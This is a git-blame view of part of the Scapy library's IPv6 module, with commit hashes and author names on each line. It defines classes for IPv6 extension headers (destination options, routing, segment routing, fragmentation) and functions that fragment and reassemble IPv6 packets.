_HopByHopOptionsField("options", [], HBHOptUnknown, 2, 960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: (8*(pkt.len+1))-2) ] 961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 0 }} 962c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Destination Option Header ########################## 965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 9660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrDestOpt(_IPv6ExtHdr): 967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Extension Header - Destination Options Header" 968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len", None, length_of="options", fmt="B", 97063ae11708b02df74dd3e8d2385d2829f3d622d66gpotter adjust = lambda pkt,x: (x+2+7)//8 - 1), 971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _PhantomAutoPadField("autopad", 1), # autopad activated by default 97277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil _HopByHopOptionsField("options", [], HBHOptUnknown, 2, 973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: (8*(pkt.len+1))-2) ] 974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 60 }} 975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################# Routing Header ################################ 978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6ExtHdrRouting(_IPv6ExtHdr): 980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Option Header Routing" 981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len", None, count_of="addresses", fmt="B", 983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil adjust = lambda pkt,x:2*x), # in 8 bytes blocks 984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("type", 0), 985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("segleft", None), 986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("reserved", 0, 32), # There is meaning in this field ... 98777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil IP6ListField("addresses", [], 988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*pkt.len)] 989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 43 }} 990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def post_build(self, pkt, pay): 992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.segleft is None: 993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:] 994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return _IPv6ExtHdr.post_build(self, pkt, pay) 995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 99635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 997f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain######################### Segment Routing Header ############################ 998f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain 99935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# This implementation is based on draft 06, available at: 100035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06 100135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 100235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLV(Packet): 100335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon name = "IPv6 Option Header Segment Routing - Generic TLV" 100435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon fields_desc = [ ByteField("type", 0), 100535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("len", 0), 100635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("reserved", 0), 100735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("flags", 0), 100835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon StrLenField("value", "", length_from=lambda pkt: pkt.len) ] 100935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 101035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon def extract_padding(self, p): 10111186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"",p 101235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 101335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon registered_sr_tlv = {} 101435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon @classmethod 101535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon def register_variant(cls): 101635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon cls.registered_sr_tlv[cls.type.default] = cls 101735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 101835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon @classmethod 101935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon def dispatch_hook(cls, pkt=None, *args, **kargs): 102035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon if pkt: 1021b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter tmp_type = orb(pkt[0]) 102235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon return cls.registered_sr_tlv.get(tmp_type, cls) 102335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon return cls 102435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 102535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 102635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV): 102735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon name = "IPv6 Option Header Segment Routing - Ingress Node TLV" 102835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon fields_desc = [ ByteField("type", 1), 102935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("len", 18), 103035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("reserved", 0), 103135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("flags", 0), 103235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon IP6Field("ingress_node", "::1") ] 103335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 103435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 103535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV): 103635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon name = "IPv6 Option Header Segment Routing - Egress Node TLV" 103735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon fields_desc = [ ByteField("type", 2), 103835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("len", 18), 103935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("reserved", 0), 104035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("flags", 0), 104135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon IP6Field("egress_node", "::1") ] 104235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 104335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 104435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV): 104535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon name = "IPv6 Option Header Segment Routing - Padding TLV" 104635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon fields_desc = [ ByteField("type", 4), 104735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon FieldLenField("len", None, length_of="padding", fmt="B"), 10482a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len) ] 104935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 105035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 1051f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutainclass IPv6ExtHdrSegmentRouting(_IPv6ExtHdr): 1052f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain name = "IPv6 Option Header Segment Routing" 1053f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 105435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("len", None), 1055f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain ByteField("type", 4), 105635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("segleft", None), 105735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ByteField("lastentry", None), 105835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon BitField("unused1", 0, 1), 1059f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain BitField("protected", 0, 1), 1060f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain BitField("oam", 0, 1), 1061f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain BitField("alert", 0, 1), 1062f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain BitField("hmac", 0, 1), 106335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon BitField("unused2", 0, 3), 106435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon ShortField("tag", 0), 106535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon IP6ListField("addresses", ["::1"], 106635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon count_from=lambda pkt: pkt.lastentry), 106735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV, 106835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon length_from=lambda pkt: 8*pkt.len - 16*pkt.lastentry) ] 106935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 107035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon overload_fields = { IPv6: { "nh": 43 } } 1071f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain 1072f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain def post_build(self, pkt, pay): 1073f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain 107435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon if self.len is None: 107535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 107635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon # The extension must be align on 8 bytes 107735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon tmp_mod = (len(pkt) - 8) % 8 107835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon if tmp_mod == 1: 107935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte !") 108035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon elif tmp_mod >= 2: 108135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon #Add the padding extension 10822a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter tmp_pad = b"\x00" * (tmp_mod-2) 108335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad) 10845e8857410015a93f6371459b2f870432ded39b9fgpotter pkt += raw(tlv) 108535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 108663ae11708b02df74dd3e8d2385d2829f3d622d66gpotter tmp_len = (len(pkt) - 8) // 8 108735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon pkt = pkt[:1] + struct.pack("B", tmp_len)+ pkt[2:] 108835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 108935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon if self.segleft is None: 109035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon tmp_len = len(self.addresses) 109135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon if tmp_len: 109235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon tmp_len -= 1 109335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:] 109435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 109535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon if self.lastentry is None: 109635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon pkt = pkt[:4] + struct.pack("B", len(self.addresses)) + pkt[5:] 109735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon 109835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon return _IPv6ExtHdr.post_build(self, pkt, pay) 1099f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain 1100f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain 1101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########################### Fragmentation Header ############################ 1102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 11030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrFragment(_IPv6ExtHdr): 1104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Extension Header - Fragmentation header" 1105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 1106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("res1", 0, 8), 110777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil BitField("offset", 0, 13), 110877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil BitField("res2", 0, 2), 110977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil BitField("m", 0, 1), 111077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil IntField("id", None) ] 1111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 44 }} 1112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 111452165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadondef defragment6(packets): 1115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 1116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Performs defragmentation of a list of IPv6 packets. Packets are reordered. 1117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Crap is dropped. What lacks is completed by 'X' characters. 1118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 11190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 112052165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon l = [x for x in packets if IPv6ExtHdrFragment in x] # remove non fragments 1121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not l: 1122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return [] 1123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 11240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz id = l[0][IPv6ExtHdrFragment].id 1125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil llen = len(l) 112752165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon l = [x for x in l if x[IPv6ExtHdrFragment].id == id] 1128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if len(l) != llen: 1129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil warning("defragment6: some fragmented packets have been removed from list") 1130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil llen = len(l) 1131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 11320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # reorder fragments 1133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = [] 1134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while l: 1135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil min_pos = 0 1136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil min_offset = l[0][IPv6ExtHdrFragment].offset 1137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for p in l: 1138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cur_offset = p[IPv6ExtHdrFragment].offset 1139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if cur_offset < min_offset: 1140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil min_pos = 0 1141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil min_offset = cur_offset 1142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res.append(l[min_pos]) 1143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil del(l[min_pos]) 1144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # regenerate the fragmentable part 11461186356a1d73fd59b700d8af05e789d0e8899de6gpotter fragmentable = b"" 1147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for p in res: 1148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil q=p[IPv6ExtHdrFragment] 1149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil offset = 8*q.offset 1150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if offset != len(fragmentable): 1151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) 11521186356a1d73fd59b700d8af05e789d0e8899de6gpotter fragmentable += b"X"*(offset - len(fragmentable)) 11535e8857410015a93f6371459b2f870432ded39b9fgpotter fragmentable += raw(q.payload) 1154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Regenerate the unfragmentable part. 1156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil q = res[0] 1157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil nh = q[IPv6ExtHdrFragment].nh 1158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil q[IPv6ExtHdrFragment].underlayer.nh = nh 115909e12802fc2694f5de2870b600c2abe732705366Pierre LALET del q[IPv6ExtHdrFragment].underlayer.payload 11607b3e970663abd72697e17b70aba9943ae0dad404Phil q /= conf.raw_layer(load=fragmentable) 11610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 11625e8857410015a93f6371459b2f870432ded39b9fgpotter return IPv6(raw(q)) 1163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef fragment6(pkt, fragSize): 1166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 11670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already 1168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected 1169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil maximum size of fragments (MTU). The list of packets is returned. 1170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil If packet does not contain an IPv6ExtHdrFragment class, it is returned in 1172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil result list. 1173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 1174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil pkt = pkt.copy() 1176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not IPv6ExtHdrFragment in pkt: 1178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # TODO : automatically add a fragment before upper Layer 1179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # at the moment, we do nothing and return initial packet 1180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # as single element of a list 1181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return [pkt] 1182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 118395776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon # If the payload is bigger than 65535, a Jumbo payload must be used, as 11840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # an IPv6 packet can't be bigger than 65535 bytes. 11855e8857410015a93f6371459b2f870432ded39b9fgpotter if len(raw(pkt[IPv6ExtHdrFragment])) > 65535: 118695776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") 118795776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon return [] 11880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 11895e8857410015a93f6371459b2f870432ded39b9fgpotter s = raw(pkt) # for instantiation to get upper layer checksum right 1190d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon 1191d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon if len(s) <= fragSize: 1192d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon return [pkt] 1193d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon 1194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Fragmentable part : fake IPv6 for Fragmentable part length computation 1195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragPart = pkt[IPv6ExtHdrFragment].payload 11965e8857410015a93f6371459b2f870432ded39b9fgpotter tmp = raw(IPv6(src="::1", dst="::1")/fragPart) 1197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragPartLen = len(tmp) - 40 # basic IPv6 header length 1198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragPartStr = s[-fragPartLen:] 1199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Grab Next Header for use in Fragment Header 1201259efa6175979052b26bd8d6028461a0bc23b005Mostafa Razavi nh = pkt[IPv6ExtHdrFragment].nh 1202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Keep fragment header 1204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragHeader = pkt[IPv6ExtHdrFragment] 120509e12802fc2694f5de2870b600c2abe732705366Pierre LALET del fragHeader.payload # detach payload 1206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Unfragmentable Part 1208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil unfragPartLen = len(s) - fragPartLen - 8 1209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil unfragPart = pkt 121009e12802fc2694f5de2870b600c2abe732705366Pierre LALET del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload 1211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 12120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # Cut the fragmentable part to fit fragSize. Inner fragments have 1213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # a length that is an integer multiple of 8 octets. last Frag MTU 1214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # can be anything below MTU 1215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil lastFragSize = fragSize - unfragPartLen - 8 1216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil innerFragSize = lastFragSize - (lastFragSize % 8) 12170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if lastFragSize <= 0 or innerFragSize == 0: 12190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz warning("Provided fragment size value is too low. " + 1220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil "Should be more than %d" % (unfragPartLen + 8)) 1221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return [unfragPart/fragHeader/fragPart] 1222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil remain = fragPartStr 1224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = [] 1225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragOffset = 0 # offset, incremeted during creation 1226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragId = random.randint(0,0xffffffff) # random id ... 1227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if fragHeader.id is not None: # ... except id provided by user 1228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragId = fragHeader.id 1229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragHeader.m = 1 1230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragHeader.id = fragId 1231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragHeader.nh = nh 1232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... 1234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while True: 1235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if (len(remain) > lastFragSize): 12360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz tmp = remain[:innerFragSize] 1237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil remain = remain[innerFragSize:] 1238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragHeader.offset = fragOffset # update offset 123963ae11708b02df74dd3e8d2385d2829f3d622d66gpotter fragOffset += (innerFragSize // 8) # compute new one 12400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if IPv6 in unfragPart: 1241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil unfragPart[IPv6].plen = None 12427b3e970663abd72697e17b70aba9943ae0dad404Phil tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp) 1243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res.append(tempo) 1244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 1245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragHeader.offset = fragOffset # update offSet 1246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fragHeader.m = 0 1247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if IPv6 in unfragPart: 1248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil unfragPart[IPv6].plen = None 12497b3e970663abd72697e17b70aba9943ae0dad404Phil tempo = unfragPart/fragHeader/conf.raw_layer(load=remain) 1250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res.append(tempo) 1251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil break 1252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return res 1253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### AH Header ################################### 1256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHFieldLenField(FieldLenField): 1258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# def getfield(self, pkt, s): 1259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# l = getattr(pkt, self.fld) 1260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# l = (l*8)-self.shift 1261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# i = self.m2i(pkt, s[:l]) 12620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# return s[l:],i 